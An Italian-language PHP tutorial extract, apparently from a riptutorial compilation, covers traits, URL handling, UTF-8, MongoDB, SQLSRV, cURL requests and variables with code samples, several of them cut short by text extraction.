use LoggableTrait;
}
//note how we use the trait as a 'proxy' to call the Logger's log method on the Foo instance
$foo->log('my beautiful message');
Cercare di utilizzare diversi tratti in una classe potrebbe causare problemi con metodi in conflitto.
È necessario risolvere manualmente tali conflitti.
trait MeowTrait {
public function say() {
print "Meow \n";
}
}
trait WoofTrait {
public function say() {
print "Woof \n";
}
}
https://riptutorial.com/it/home 502
class Dog extends UnMuteAnimals {
use WoofTrait;
}
Errore irreversibile: il metodo dei tratti dice che non è stato applicato, perché su
TalkingParrot vi sono collisioni con altri metodi di tratto
• usa keyword insteadof per usare il metodo da una caratteristica invece di un metodo da
un'altra caratteristica
• crea un alias per il metodo con un costrutto come WoofTrait::say as sayAsDog;
Miao
Trama
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}
trait World {
public function sayWorld() {
echo 'World';
}
}
https://riptutorial.com/it/home 503
class MyHelloWorld {
use Hello, World;
public function sayExclamationMark() {
echo '!';
}
}
$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
Hello World!
trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}
(new MyClass1())->sayHello();
// Fatal error: Uncaught Error: Call to protected method MyClass1::sayHello()
(new MyClass2())->myPrivateHello();
// Fatal error: Uncaught Error: Call to private method MyClass2::myPrivateHello()
(new MyClass2())->sayHello();
// Hello World!
Quindi, MyClass2 presente che nell'ultimo esempio in MyClass2 il metodo originale senza alias di
trait HelloWorld rimane accessibile così com'è.
Cos'è un tratto?
PHP consente solo l'ereditarietà singola. In altre parole, una classe può extend solo un'altra
classe. Ma cosa succede se è necessario includere qualcosa che non appartiene alla classe
https://riptutorial.com/it/home 504
genitore? Prima di PHP 5.4 dovevi diventare creativo, ma nel 5.4 sono stati introdotti i tratti. I tratti
ti consentono di "copiare e incollare" sostanzialmente una porzione di una classe nella tua classe
principale
trait Talk {
/** @var string */
public $phrase = 'Well Wilbur...';
public function speak() {
echo $this->phrase;
}
}
Quindi qui abbiamo MrEd , che sta già estendendo Horse . Ma non tutti i cavalli Talk , quindi
abbiamo un tratto per questo. Prendiamo nota di ciò che sta facendo
Per prima cosa, definiamo il nostro tratto. Possiamo usarlo con autoloading e Namespaces (vedi
anche Riferimento a una classe o funzione in un namespace ). Quindi lo includiamo nella nostra
classe MrEd con la parola chiave use .
Noterai che MrEd impiega le funzioni e le variabili di Talk senza definirle. Ricorda cosa abbiamo
detto di copia e incolla ? Queste funzioni e variabili sono tutte definite all'interno della classe ora,
come se questa classe le avesse definite.
I tratti sono strettamente correlati alle classi astratte in quanto è possibile definire variabili e
funzioni. Inoltre, non è possibile creare direttamente un'istanza di un tratto (vale a dire un new
Trait() ). I tratti non possono forzare una classe a definire implicitamente una funzione come una
classe astratta o una lattina di interfaccia. I tratti sono solo per definizioni esplicite (dato che puoi
implement tutte le interfacce che vuoi, vedi Interfacce ).
Più spesso, la risposta sarà Sì . I tratti sono casi limite causati dall'eredità singola. La tentazione di
utilizzare in modo improprio o eccessivo i Tratti può essere alta. Ma considera che un tratto
introduce un'altra fonte per il tuo codice, il che significa che c'è un altro livello di complessità.
Nell'esempio qui, ci occupiamo solo di 3 classi. Ma i tratti significano che ora puoi avere a che fare
https://riptutorial.com/it/home 505
molto di più. Per ogni Tratto, la tua classe diventa molto più difficile da gestire, dal momento che
ora devi fare riferimento a ciascun Tratto per scoprire cosa definisce (e potenzialmente dove è
avvenuta una collisione, vedi Risoluzione dei conflitti ). Idealmente, dovresti mantenere il minor
numero possibile di caratteri nel tuo codice.
Nel tempo, le nostre classi potrebbero implementare sempre più interfacce. Quando queste
interfacce hanno molti metodi, il numero totale di metodi nella nostra classe diventerà molto
grande.
interface Printable {
public function print();
//other interface methods...
}
interface Cacheable {
//interface methods
}
Invece di implementare tutti i metodi dell'interfaccia all'interno della classe Article , potremmo
utilizzare tratti separati per implementare queste interfacce, mantenendo la classe più piccola e
separando il codice dell'implementazione dell'interfaccia dalla classe.
trait PrintableArticle {
//implements here the interface methods
public function print() {
/* code to print the article */
}
}
https://riptutorial.com/it/home 506
Implementare un Singleton usando i Tratti
Disclaimer : in nessun modo questo esempio sostiene l'uso di singleton. I single devono essere
usati con molta cura.
return self::$instance;
}
Per evitare la duplicazione del codice, è una buona idea estrarre questo comportamento in un
tratto.
trait SingletonTrait {
private $instance;
return self::$instance;
}
Ora qualsiasi classe che vuole funzionare come un singleton può semplicemente usare il tratto:
class MyClass {
https://riptutorial.com/it/home 507
use SingletonTrait;
}
$myClass = MyClass::getInstance();
Anche se ora è impossibile serializzare un singleton, è comunque utile disabilitare anche il metodo
deserialize.
https://riptutorial.com/it/home 508
Capitolo 99: URL
Examples
Analisi di un URL
$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$parts = parse_url($url);
Array
(
[scheme] => http
[host] => www.example.com
[path] => /page
[query] => foo=1&bar=baz
[fragment] => anchor
)
Puoi anche restituire in modo selettivo solo un componente dell'URL. Per restituire solo la
querystring:
$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$queryString = parse_url($url, PHP_URL_QUERY);
Per analizzare ulteriormente una stringa di query in coppie di valori chiave utilizzare parse_str() :
$params = [];
parse_str($queryString, $params);
Dopo l'esecuzione di quanto sopra, l'array $params verrà popolato con quanto segue:
Array
(
[foo] => 1
[bar] => baz
)
Puoi utilizzare la funzione header() per indicare al browser di reindirizzare a un URL diverso:
https://riptutorial.com/it/home 509
$url = 'https://example.org/foo/bar';
if (!headers_sent()) { // check headers - you can not send headers if they already sent
header('Location: ' . $url);
exit; // protects from code being executed after redirect request
} else {
throw new Exception('Cannot redirect, headers already sent');
}
Puoi anche reindirizzare a un URL relativo (questo non fa parte delle specifiche HTTP ufficiali, ma
funziona in tutti i browser):
$url = 'foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
exit;
} else {
throw new Exception('Cannot redirect, headers already sent');
}
Se le intestazioni sono state inviate, puoi in alternativa inviare un meta refresh tag HTML di meta
refresh .
ATTENZIONE: il tag meta refresh si basa su un codice HTML elaborato correttamente dal client e
alcuni non lo fanno. In generale, funziona solo nei browser web. Inoltre, considera che se le
intestazioni sono state inviate, potresti avere un bug e questo dovrebbe innescare un'eccezione.
Puoi anche stampare un link per fare clic sugli utenti, per i clienti che ignorano il tag meta refresh:
$url = 'https://example.org/foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
} else {
$saveUrl = htmlspecialchars($url); // protects from browser seeing url as HTML
// tells browser to redirect page to $saveUrl after 0 seconds
print '<meta http-equiv="refresh" content="0; url=' . $saveUrl . '">';
// shows link for user
print '<p>Please continue to <a href="' . $saveUrl . '">' . $saveUrl . '</a></p>';
}
exit;
La http_build_query() creerà una stringa di query da una matrice o da un oggetto. Queste stringhe
possono essere aggiunte a un URL per creare una richiesta GET o utilizzate in una richiesta
POST con, ad esempio, cURL.
$parameters = array(
'parameter1' => 'foo',
'parameter2' => 'bar',
);
$queryString = http_build_query($parameters);
https://riptutorial.com/it/home 510
parameter1=foo¶meter2=bar
$parameters = array(
"parameter3" => array(
"sub1" => "foo",
"sub2" => "bar",
),
"parameter4" => "baz",
);
$queryString = http_build_query($parameters);
parameter3%5Bsub1%5D=foo¶meter3%5Bsub2%5D=bar¶meter4=baz
parameter3[sub1]=foo¶meter3[sub2]=bar¶meter4=baz
https://riptutorial.com/it/home 511
Capitolo 100: Usare Redis con PHP
Examples
Installazione di PHP Redis su Ubuntu
Il modulo Redis PHP dà accesso agli stessi comandi del client CLI Redis, quindi è abbastanza
semplice da usare.
La sintassi è la seguente:
https://riptutorial.com/it/home 512
Capitolo 101: UTF-8
Osservazioni
• È necessario assicurarsi che ogni volta che si elabora una stringa UTF-8, lo si fa in modo
sicuro. Questa è, sfortunatamente, la parte difficile. Probabilmente vorrai fare un uso
estensivo dell'estensione mbstring di PHP.
• Le operazioni di stringa incorporate di PHP non sono di default UTF-8 sicuro. Ci sono
alcune cose che puoi tranquillamente fare con le normali operazioni di stringa PHP (come la
concatenazione), ma per la maggior parte delle cose dovresti usare la funzione equivalente
mbstring .
Examples
Ingresso
• È necessario verificare ogni stringa ricevuta come UTF-8 valida prima di provare a
memorizzarla o utilizzarla ovunque. mb_check_encoding() di PHP fa il trucco, ma devi usarlo in
modo coerente. Non c'è davvero alcun modo per aggirare questo problema, poiché i client
malevoli possono inviare i dati in qualsiasi codifica che desiderano.
$string = $_REQUEST['user_comment'];
if (!mb_check_encoding($string, 'UTF-8')) {
// the string is not UTF-8, so re-encode it.
$actualEncoding = mb_detect_encoding($string);
$string = mb_convert_encoding($string, 'UTF-8', $actualEncoding);
}
• Se utilizzi HTML5, puoi ignorare quest'ultimo punto. Desideri che tutti i dati inviati dai
browser siano in UTF-8. L'unico modo affidabile per farlo è aggiungere l'attributo accept-
charset a tutti i tag <form> modo:
Produzione
• Se la tua applicazione trasmette il testo ad altri sistemi, dovranno anche essere informati
della codifica dei caratteri. In PHP, è possibile utilizzare l'opzione default_charset in php.ini o
manualmente rilasciare l'intestazione MIME Content-Type . Questo è il metodo preferito
quando si scelgono i browser moderni.
https://riptutorial.com/it/home 513
documento HTML con metadati HTML .
○ HTML5
<meta charset="utf-8">
• Specificare il utf8mb4 caratteri utf8mb4 su tutte le tabelle e le colonne di testo nel database. In
questo modo MySQL memorizza e recupera fisicamente i valori codificati in modo nativo in
UTF-8.
• Le versioni precedenti di MySQL (<5.5.3) non supportano utf8mb4 quindi sarai costretto a
usare utf8 , che supporta solo un sottoinsieme di caratteri Unicode.
• Nel codice dell'applicazione (ad es. PHP), in qualunque metodo di accesso DB si usi, è
necessario impostare il set di utf8mb4 connessione su utf8mb4 . In questo modo, MySQL non
esegue alcuna conversione dal suo UTF-8 nativo quando trasferisce i dati alla tua
applicazione e viceversa.
Ad esempio (la stessa considerazione riguardante utf8mb4 / utf8 applica come sopra):
○ Se stai usando il livello di astrazione PDO con PHP ≥ 5.3.6, puoi specificare il charset
nel DSN :
https://riptutorial.com/it/home 514
$conn = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');
○ Se il driver del database non fornisce il proprio meccanismo per impostare il set di
caratteri di connessione, potrebbe essere necessario inviare una query per dire a
MySQL come l'applicazione si aspetta che i dati sulla connessione siano codificati: SET
NAMES 'utf8mb4' .
https://riptutorial.com/it/home 515
Capitolo 102: Utilizzando MongoDB
Examples
Connetti a MongoDB
Crea una connessione MongoDB, che in seguito puoi eseguire una query:
Inserisci il documento
$document = [
'name' => 'John',
'active' => true,
'info' => ['genre' => 'male', 'age' => 30]
https://riptutorial.com/it/home 516
];
$bulk = new \MongoDB\Driver\BulkWrite;
$_id1 = $bulk->insert($document);
$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);
Aggiorna un documento
Elimina un documento
https://riptutorial.com/it/home 517
Capitolo 103: Utilizzando SQLSRV
Osservazioni
Il driver SQLSRV è un'estensione PHP supportata da Microsoft che consente di accedere ai
database Microsoft SQL Server e SQL Azure. È un'alternativa per i driver MSSQL che sono stati
deprecati a partire da PHP 5.3 e sono stati rimossi da PHP 7.
L'estensione SQLSRV richiede che il client nativo di Microsoft SQL Server 2012 sia installato nello
stesso computer su cui è in esecuzione PHP. Se il client nativo di Microsoft SQL Server 2012 non
è già installato, fare clic sul collegamento appropriato nella pagina di documentazione "Requisiti" .
Un elenco completo dei requisiti di sistema per i driver SQLSRV può essere trovato qui: Requisiti
di sistema
Chi utilizza SQLSRV 3.1+ deve scaricare il driver Microsoft ODBC 11 per SQL Server
Microsoft® ODBC Driver 13 per SQL Server supporta Microsoft SQL Server 2008, SQL Server
2008 R2, SQL Server 2012, SQL Server 2014, SQL Server 2016 (Anteprima), Sistema piattaforma
di analisi, Database SQL di Azure e Data Warehouse SQL di Azure.
Examples
Creare una connessione
$connectionInfo = array(
"Database" => $dbName,
"UID" => $dbUser,
"PWD" => $dbPassword
);
https://riptutorial.com/it/home 518
$conn = sqlsrv_connect($dbServer, $connectionInfo);
//Create Connection
$conn = sqlsrv_connect($dbServer, $connectionInfo);
Nota: l'uso delle parentesi quadre [] è di sfuggire alla table parole in quanto è una parola riservata
. Funzionano allo stesso modo dei backtick ` do in MySQL .
$params = array(
array($name, SQLSRV_PARAM_IN),
array($age, SQLSRV_PARAM_IN),
array($count, SQLSRV_PARAM_OUT, SQLSRV_PHPTYPE_INT) //$count must already be initialised
);
Se si prevede di utilizzare la stessa istruzione di query più di una volta, con parametri diversi, è
possibile ottenere lo stesso con le sqlsrv_prepare() e sqlsrv_execute() , come illustrato di seguito:
$cart = array(
"apple" => 3,
"banana" => 1,
"chocolate" => 2
);
https://riptutorial.com/it/home 519
$stmt = sqlsrv_prepare($conn, $query, $params);
sqlsrv_fetch_array ()
sqlsrv_fetch_array() recupera la riga successiva come una matrice.
while($row = sqlsrv_fetch_array($stmt)) {
echo $row[0];
$var = $row["name"];
//...
}
sqlsrv_fetch_object ()
sqlsrv_fetch_object() recupera la riga successiva come oggetto.
while($obj = sqlsrv_fetch_object($stmt)) {
echo $obj->field; // Object property names are the names of the fields from the query
//...
}
sqlsrv_fetch ()
sqlsrv_fetch() rende disponibile per la lettura la riga successiva.
https://riptutorial.com/it/home 520
Recupero messaggi di errore
Quando una query non funziona, è importante recuperare i messaggi di errore restituiti dal driver
per identificare la causa del problema. La sintassi è:
sqlsrv_errors([int $errorsOrWarnings]);
Chiave Descrizione
https://riptutorial.com/it/home 521
Capitolo 104: Utilizzo di cURL in PHP
Sintassi
• resource curl_init ([string $ url = NULL])
• bool curl_setopt (risorsa $ ch, opzione int $, valore $ misto)
• bool curl_setopt_array (risorsa $ ch, array $ opzioni)
• misto curl_exec (risorsa $ ch)
• void curl_close (resource $ ch)
Parametri
Parametro Dettagli
Examples
Utilizzo di base (richieste GET)
cURL è uno strumento per il trasferimento di dati con sintassi URL. Supporta HTTP, FTP, SCP e
molti altri (arricciatura> = 7.19.4). Ricorda, devi installare e abilitare l'estensione cURL per
usarlo.
https://riptutorial.com/it/home 522
die("cURL extension not loaded! Quit Now.");
}
Richieste POST
A volte abbiamo bisogno di fare molte richieste POST a uno o più endpoint diversi. Per gestire
questo scenario, possiamo usare multi_curl .
Prima di tutto, creiamo quante richieste sono necessarie esattamente nello stesso modo del
semplice esempio e le inseriamo in un array.
https://riptutorial.com/it/home 523
//array of data to POST
$request_contents = array();
//array of URLs
$urls = array();
//array of cURL handles
$chs = array();
curl_multi_add_handle($mh, $chs[$key]);
}
curl_multi_remove_handle($mh, $chs[$key]);
}
https://riptutorial.com/it/home 524
Un possibile ritorno per questo esempio potrebbe essere:
Per impostazione predefinita, PHP Curl supporta POST richieste GET e POST . È anche possibile
inviare richieste personalizzate, come DELETE , PUT o PATCH (o anche metodi non standard)
utilizzando il parametro CURLOPT_CUSTOMREQUEST .
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
$content = curl_exec($ch);
curl_close($ch);
cURL può conservare i cookie ricevuti nelle risposte da utilizzare con le richieste successive. Per
la gestione semplice dei cookie di sessione in memoria, ciò si ottiene con una singola riga di
codice:
Nei casi in cui è necessario conservare i cookie dopo che l'handle di cURL è stato distrutto, è
possibile specificare il file per memorizzarli in:
Ricorda, tuttavia, che questi due passaggi non sono necessari a meno che non sia necessario
trasportare i cookie tra diversi handle di cURL. Per la maggior parte dei casi d'uso, l'impostazione
di CURLOPT_COOKIEFILE sulla stringa vuota è tutto ciò che serve.
La gestione dei cookie può essere utilizzata, ad esempio, per recuperare risorse da un sito Web
che richiede un accesso. Si tratta in genere di una procedura in due passaggi. Innanzitutto, POST
alla pagina di accesso.
<?php
https://riptutorial.com/it/home 525
$ch = curl_init();
Il secondo passaggio (dopo il controllo degli errori standard) è solitamente una semplice richiesta
GET. L'importante è riutilizzare l'handle cURL esistente per la seconda richiesta. Ciò garantisce
che i cookie della prima risposta vengano automaticamente inclusi nella seconda richiesta.
Questo è solo inteso come un esempio di gestione dei cookie. Nella vita reale, le cose sono
solitamente più complicate. Spesso è necessario eseguire un GET iniziale della pagina di accesso
per estrarre un token di accesso che deve essere incluso nel POST. Altri siti potrebbero bloccare il
client cURL in base alla sua stringa User-Agent, richiedendoti di cambiarlo.
Invio di dati multidimensionali e più file con CurlFile in una sola richiesta
Diciamo che abbiamo una forma come quella qui sotto. Vogliamo inviare i dati al nostro server
web tramite AJAX e da lì a uno script in esecuzione su un server esterno.
https://riptutorial.com/it/home 526
Abbiamo quindi ingressi normali, un campo a selezione multipla e una dropzone di file in cui
possiamo caricare più file.
Supponendo che la richiesta POST AJAX abbia avuto successo, otteniamo i seguenti dati sul sito
PHP:
// print_r($_POST)
Array
(
[first_name] => John
[last_name] => Doe
[activities] => Array
(
[0] => soccer
[1] => hiking
)
)
// print_r($_FILES)
Array
(
[upload] => Array
(
https://riptutorial.com/it/home 527
[name] => Array
(
[0] => my_photo.jpg
[1] => my_life.pdf
)
Fin qui tutto bene. Ora vogliamo inviare questi dati e file al server esterno usando cURL con la
classe CurlFile
Poiché cURL accetta solo un array semplice ma non multi-dimensionale, dobbiamo prima
appiattire l'array $ _POST.
Per fare questo, potresti usare questa funzione per esempio che ti dà il seguente:
// print_r($new_post_array)
Array
(
[first_name] => John
[last_name] => Doe
[activities[0]] => soccer
[activities[1]] => hiking
)
Il prossimo passo è creare oggetti CurlFile per i file caricati. Questo viene fatto dal seguente ciclo:
$files = array();
https://riptutorial.com/it/home 528
if ($error == UPLOAD_ERR_OK) {
$files["upload[$key]"] = curl_file_create(
$_FILES['upload']['tmp_name'][$key],
$_FILES['upload']['type'][$key],
$_FILES['upload']['name'][$key]
);
}
}
curl_file_create è una funzione di supporto della classe CurlFile e crea gli oggetti CurlFile.
Salviamo ogni oggetto nell'array $ files con le chiavi "upload [0]" e "upload [1]" per i nostri due file.
Ora dobbiamo combinare l'array di colonne appiattito e l'array di file e salvarlo come $ dati come
questo:
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_POST => 1,
CURLOPT_URL => "https://api.externalserver.com/upload.php",
CURLOPT_RETURNTRANSFER => 1,
CURLINFO_HEADER_OUT => 1,
CURLOPT_POSTFIELDS => $data
));
$result = curl_exec($ch);
curl_close ($ch);
Poiché $ data è ora un semplice array (piatto), cURL invia automaticamente questa richiesta
POST con Content Type: multipart / form-data
In upload.php sul server esterno ora puoi ottenere i dati e i file dei post con $ _POST e $ _FILES
come faresti normalmente.
$uri = 'http://localhost/http.php';
$ch = curl_init($uri);
curl_setopt_array($ch, array(
CURLOPT_HTTPHEADER => array('X-User: admin', 'X-Authorization: 123456'),
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_VERBOSE => 1
));
$out = curl_exec($ch);
curl_close($ch);
// echo response output
https://riptutorial.com/it/home 529
echo $out;
print_r(apache_request_headers());
Produzione :-
Array
(
[Host] => localhost
[Accept] => */*
[X-User] => admin
[X-Authorization] => 123456
[Content-Length] => 9
[Content-Type] => application/x-www-form-urlencoded
)
https://riptutorial.com/it/home 530
Capitolo 105: variabili
Sintassi
• $ variabile = 'valore'; // Assegna variabile generale
• $ oggetto-> proprietà = 'valore'; // Assegna una proprietà dell'oggetto
• ClassName :: $ property = 'valore'; // Assegna una proprietà di classe statica
• $ array [0] = 'valore'; // Assegna un valore a un indice di un array
• $ array [] = 'valore'; // Spingi un oggetto alla fine di un array
• $ array ['key'] = 'valore'; // Assegna un valore di matrice
• echo $ variabile; // Echo (stampa) un valore variabile
• una_qualche_funzione ($ variabile); // Usa variabile come parametro di funzione
• unset ($ variabile); // Annulla l'impostazione di una variabile
• $$ variabile = 'valore'; // Assegna a una variabile variabile
• isset ($ variabile); // Controlla se una variabile è impostata o meno
• vuota ($ variabile); // Controlla se una variabile è vuota o meno
Osservazioni
Digitare il controllo
Alcuni documenti relativi a variabili e tipi indicano che PHP non usa la tipizzazione statica. Questo
è corretto, ma PHP esegue alcuni controlli di tipo quando si tratta di parametri di funzione /
metodo e valori di ritorno (specialmente con PHP 7).
Puoi imporre il controllo dei parametri e del valore di ritorno usando type-hinting in PHP 7 come
segue:
<?php
/**
* Juggle numbers and return true if juggling was
* a great success.
*/
function numberJuggling(int $a, int $b) : bool
{
$sum = $a + $b;
Nota: i gettype() di PHP per interi e booleani sono integer e boolean rispettivamente.
Ma per il suggerimento del tipo per tali variabili è necessario utilizzare int e bool .
Altrimenti, PHP non ti darà un errore di sintassi, ma si aspetterà che vengano passate
le classi integer e boolean .
https://riptutorial.com/it/home 531
L'esempio sopra riportato genera un errore nel caso in cui il valore non numerico sia dato come
parametro $a o $b , e se la funzione restituisce qualcosa di diverso da true o false . L'esempio
precedente è "loose", in quanto puoi dare un valore float a $a o $b . Se desideri applicare rigorosi
tipi, ovvero puoi inserire solo numeri interi e non float, aggiungi quanto segue all'inizio del tuo file
PHP:
<?php
declare('strict_types=1');
Prima di PHP 7 funzioni e metodi consentivano l'hint di tipo per i seguenti tipi:
Examples
Accesso a una variabile in modo dinamico per nome (variabili variabili)
Le variabili sono accessibili tramite nomi di variabili dinamiche. Il nome di una variabile può essere
memorizzato in un'altra variabile, consentendone l'accesso dinamico. Tali variabili sono note come
variabili variabili.
Per trasformare una variabile in una variabile variabile, metti un extra $ messo davanti alla tua
variabile.
$variableName = 'foo';
$foo = 'bar';
//similarly,
$variableName = 'foo';
$$variableName = 'bar';
https://riptutorial.com/it/home 532
$funcName = 'add';
class myClass {
public function __construct() {
$functionName = 'doSomething';
$this->$functionName('Hello World');
}
${$variableName} = $value;
$fooBar = 'baz';
$varPrefix = 'foo';
L'utilizzo di {} è obbligatorio solo quando il nome della variabile è di per sé un'espressione, come
questa:
$$$$$$$$DoNotTryThisAtHomeKids = $value;
È importante notare che l'uso eccessivo di variabili variabili è considerato una cattiva
pratica da molti sviluppatori. Dal momento che non sono adatti per l'analisi statica dei
moderni IDE, grandi basi di codici con molte variabili variabili (o invocazioni di metodi
dinamici) possono diventare rapidamente difficili da mantenere.
https://riptutorial.com/it/home 533
Un altro motivo per usare sempre {} o () , è che PHP5 e PHP7 hanno un modo leggermente
diverso di trattare le variabili dinamiche, il che si traduce in un risultato diverso in alcuni casi.
Caso 1: $$foo['bar']['baz']
Caso 2: $foo->$bar['baz']
Caso 3: $foo->$bar['baz']()
Caso 4: Foo::$bar['baz']()
Tipi di dati
Esistono diversi tipi di dati per scopi diversi. PHP non ha definizioni di tipo esplicite, ma il tipo di
una variabile è determinato dal tipo di valore assegnato o dal tipo a cui è assegnato. Questa è una
breve panoramica sui tipi, per una documentazione dettagliata ed esempi, vedi l'argomento dei tipi
PHP .
Esistono i seguenti tipi di dati in PHP: null, booleano, intero, float, stringa, oggetto, risorsa e array.
Nullo
Null può essere assegnato a qualsiasi variabile. Rappresenta una variabile senza valore.
$foo = null;
Ciò invalida la variabile e il suo valore sarebbe indefinito o annullato se chiamato. La variabile
viene cancellata dalla memoria ed eliminata dal garbage collector.
booleano
https://riptutorial.com/it/home 534
Questo è il tipo più semplice con solo due valori possibili.
$foo = true;
$bar = false;
$foo = true;
if ($foo) {
echo "true";
} else {
echo "false";
}
Numero intero
Un numero intero è un numero intero positivo o negativo. Può essere utilizzato con qualsiasi base
numerica. La dimensione di un intero dipende dalla piattaforma. PHP non supporta gli interi senza
segno.
Galleggiante
I numeri in virgola mobile, "doppi" o semplicemente "float" sono numeri decimali.
$foo = 1.23;
$foo = 10.0;
$bar = -INF;
$bar = NAN;
schieramento
Un array è come un elenco di valori. La forma più semplice di un array è indicizzata dal numero
intero e ordinata dall'indice, con il primo elemento che giace nell'indice 0.
https://riptutorial.com/it/home 535
Le matrici possono anche associare una chiave diversa da un indice intero a un valore. In PHP,
tutti gli array sono array associativi dietro le quinte, ma quando ci riferiamo a un 'array associativo'
distintamente, di solito intendiamo uno che contiene una o più chiavi che non sono interi.
$array = array();
$array["foo"] = "bar";
$array["baz"] = "quux";
$array[42] = "hello";
echo $array["foo"]; // Outputs "bar"
echo $array["bar"]; // Outputs "quux"
echo $array[42]; // Outputs "hello"
Stringa
Una stringa è come una matrice di caratteri.
$foo = "bar";
Come un array, una stringa può essere indicizzata per restituire i suoi singoli caratteri:
$foo = "bar";
echo $foo[0]; // Prints 'b', the first character of the string in $foo.
Oggetto
Un oggetto è un'istanza di una classe. Le sue variabili e metodi sono accessibili con l'operatore ->
.
$foo = new stdClass(); // create new object of class stdClass, which a predefined, empty class
$foo->bar = "baz";
echo $foo->bar; // Outputs "baz"
// Or we can cast an array to an object:
$quux = (object) ["foo" => "bar"];
echo $quux->foo; // This outputs "bar".
Risorsa
Le variabili delle risorse contengono maniglie speciali per i file aperti, le connessioni al database, i
flussi, le aree di immagine e simili (come indicato nel manuale ).
$fp = fopen('file.ext', 'r'); // fopen() is the function to open a file on disk as a resource.
var_dump($fp); // output: resource(2) of type (stream)
Per ottenere il tipo di una variabile come stringa, utilizzare la funzione gettype() :
https://riptutorial.com/it/home 536
Migliori pratiche variabili globali
function foo() {
global $bob;
$bob->doSomething();
}
Sei confuso? Buono. Hai appena saputo perché i globali sono confusi e considerati una cattiva
pratica .
Se questo fosse un vero programma, il tuo prossimo divertimento sarà quello di rintracciare tutte
le istanze di $bob e spero che tu trovi quella giusta (questo peggiora se $bob è usato ovunque).
Peggio ancora, se qualcun altro va e definisce $bob (o hai dimenticato e riutilizzato quella variabile)
il tuo codice può rompersi (nell'esempio di codice precedente, avere l'oggetto sbagliato, o nessun
oggetto, causerebbe un errore fatale).
Poiché praticamente tutti i programmi PHP utilizzano il codice come include('file.php'); il tuo
lavoro di mantenimento del codice come questo diventa esponenzialmente più difficile più file
aggiungi.
Inoltre, questo rende molto difficile il compito di testare le tue applicazioni. Supponiamo di
utilizzare una variabile globale per mantenere la connessione al database:
function doSomething() {
global $dbConnector;
$dbConnector->execute("...");
}
Per testare questa funzione, è necessario sovrascrivere la variabile globale $dbConnector , eseguire
i test e quindi reimpostarla sul valore originale, che è molto incline ai bug:
/**
* @test
*/
function testSomething() {
global $dbConnector;
assertTrue(foo());
https://riptutorial.com/it/home 537
Come evitiamo i Globali?
Il modo migliore per evitare i globals è una filosofia chiamata Dependency Injection . Qui è dove
passiamo gli strumenti di cui abbiamo bisogno nella funzione o classe.
Questo è molto più facile da capire e mantenere. Non si può pensare a dove $bob stato impostato
perché il chiamante è responsabile per sapere che (ci sta passando quello che dobbiamo sapere).
Ancora meglio, possiamo usare le dichiarazioni di tipo per limitare ciò che viene passato.
Quindi sappiamo che $bob è un'istanza della classe Bar o un'istanza di un figlio di Bar , il che
significa che sappiamo che possiamo usare i metodi di quella classe. Combinato con un
autoloader standard (disponibile da PHP 5.3), ora possiamo rintracciare dove viene definita la Bar
. PHP 7.0 o versioni successive include dichiarazioni di tipo espanso, in cui è anche possibile
utilizzare i tipi scalari (come int o string ).
4.1
Variabili superglobal
Super globals in PHP sono variabili predefinite, che sono sempre disponibili, accessibili da
qualsiasi ambito in tutto lo script.
Non è necessario fare una variabile $ globale; per accedervi all'interno di funzioni / metodi, classi
o file.
• $ GLOBALS
• $ _SERVER
• $ _REQUEST
• $ _POST
• $ _GET
• $ _FILES
• $ _ENV
• $ _COOKIE
• $ _SESSION
get_defined_vars() restituisce una matrice con tutti i nomi e i valori delle variabili definite
nell'ambito in cui viene chiamata la funzione. Se si desidera stampare i dati, è possibile utilizzare
le funzioni standard per l'output di dati leggibili dall'uomo, come print_r o var_dump .
var_dump(get_defined_vars());
https://riptutorial.com/it/home 538
Nota : questa funzione di solito restituisce solo 4 superglobali : $_GET , $_POST , $_COOKIE , $_FILES .
Altri superglobali vengono restituiti solo se sono stati utilizzati da qualche parte nel codice. Ciò è
dovuto alla direttiva auto_globals_jit che è abilitata per impostazione predefinita. Quando è
abilitato, le variabili $_SERVER e $_ENV vengono create quando vengono utilizzate per la prima volta
(Just In Time) anziché quando inizia lo script. Se queste variabili non vengono utilizzate all'interno
di uno script, avere questa direttiva attiva comporterà un guadagno in termini di prestazioni.
Sebbene non sia necessario in PHP, è comunque una buona pratica inizializzare le variabili. Le
variabili non inizializzate hanno un valore predefinito del loro tipo in base al contesto in cui
vengono utilizzate:
booleano
Stringa
$unset_str .= 'abc';
var_dump($unset_str); // outputs 'string(3) "abc"'
Numero intero
Float / doppia
$unset_float += 1.25;
var_dump($unset_float); // outputs 'float(1.25)'
schieramento
$unset_arr[3] = "def";
var_dump($unset_arr); // outputs array(1) { [3]=> string(3) "def" }
Oggetto
$unset_obj->foo = 'bar';
var_dump($unset_obj); // Outputs: object(stdClass)#1 (1) { ["foo"]=> string(3) "bar" }
Affidarsi al valore predefinito di una variabile non inizializzata è problematico nel caso di includere
un file in un altro che utilizza lo stesso nome di variabile.
